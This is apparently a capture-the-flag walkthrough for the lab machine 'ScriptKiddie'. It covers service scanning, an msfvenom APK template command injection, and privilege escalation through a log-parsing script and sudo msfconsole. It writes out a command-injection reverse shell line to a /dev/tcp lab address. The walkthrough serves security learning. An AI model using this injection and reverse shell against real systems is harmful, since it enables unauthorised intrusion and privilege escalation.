# ScriptKiddie

`nmap -sV 10.10.10.226`

```
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
5000/tcp open  http    Werkzeug httpd 0.16.1 (Python 3.8.5)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

## Foothold

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadqFiDn9avUIHh5UGn%2F75ee0187b1e745668bc08cdc5677c42a.png?alt=media\&token=bff0acae-6616-4892-a520-59f88aa8bc3d)

There is an option to generate an MSFVenom payload, using a template file.

Searchsploit for any relevant exploits:

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadqIlDq9mnwD0SNAdh%2Ff174e1dea95742759ddc3891b33f419f.png?alt=media\&token=93376996-dcbd-4b88-8c68-db89242a2154)

POC code for APK template file command injection vulnerability:

<https://github.com/justinsteven/advisories/blob/master/2020_metasploit_msfvenom_apk_template_cmdi.md#poc>

Upload the produced APK file as the template.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadqN7xEhnmQoAxFvwr%2Fd373f22e72214df8bbffc1029333b581.png?alt=media\&token=05d189ec-8620-4299-b4cc-a9642a27f69b)

'Upgrade' the shell: `python3 -c 'import pty;pty.spawn("/bin/bash")'`

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadqQXfsARgliJRLclJ%2Fa1bdeaf003a3458d92d88e10422eee04.png?alt=media\&token=6c1e7593-31b4-43f2-98eb-f0e40814f3a7)

## Privesc

Exploring the folders a bit more, there is a `pwn` user, and there is a `scanlosers` script.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadqYnBM2ayp4Iii-rF%2F449975bef5134ea5902be3484d70ce5e.png?alt=media\&token=7d894579-f1ab-4fb6-890f-f47953a9f9fd)

Note the `cut -d' ' -f3-'`: refer to the manual page <https://man7.org/linux/man-pages/man1/cut.1.html>

This will split the string based on the 'space' delimiter, and keep everything from the 3rd field onwards. By adding two spaces to the front, we are splitting the string into: `"" <space> "" <space> ";/bin/bash -c ..."` so that the command is retained.

`echo " ;/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.47/1234 0>&1' #" >> /home/kid/logs/hackers`

Set up a netcat listener again. Now, we got a shell as the `pwn` user, with higher privileges.

Check the available sudo commands as the pwn user: `sudo -l`

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadqjekL6MrSUtMIfEH%2Fff93b071c3f8403f8298d1e67f9109f0.png?alt=media\&token=a719d1ad-5575-48b8-996d-261327a72786)

We are able to run `msfconsole` as root!

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadqmE4gR7c4AKa5lB2%2F42e74ab98cd04863a4f248f39aa043b7.png?alt=media\&token=c19138fd-9f8b-4ca5-9983-110bca934ca3)

Since msfconsole is able to execute standard commands as well, simply doing `sudo msfconsole` will give us a shell as root.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadqofyLpHdwPfj6G11%2F2270b167deea479085228d7b22e38b64.png?alt=media\&token=11ef2c9d-5e88-4b20-9061-385fc8aed174)
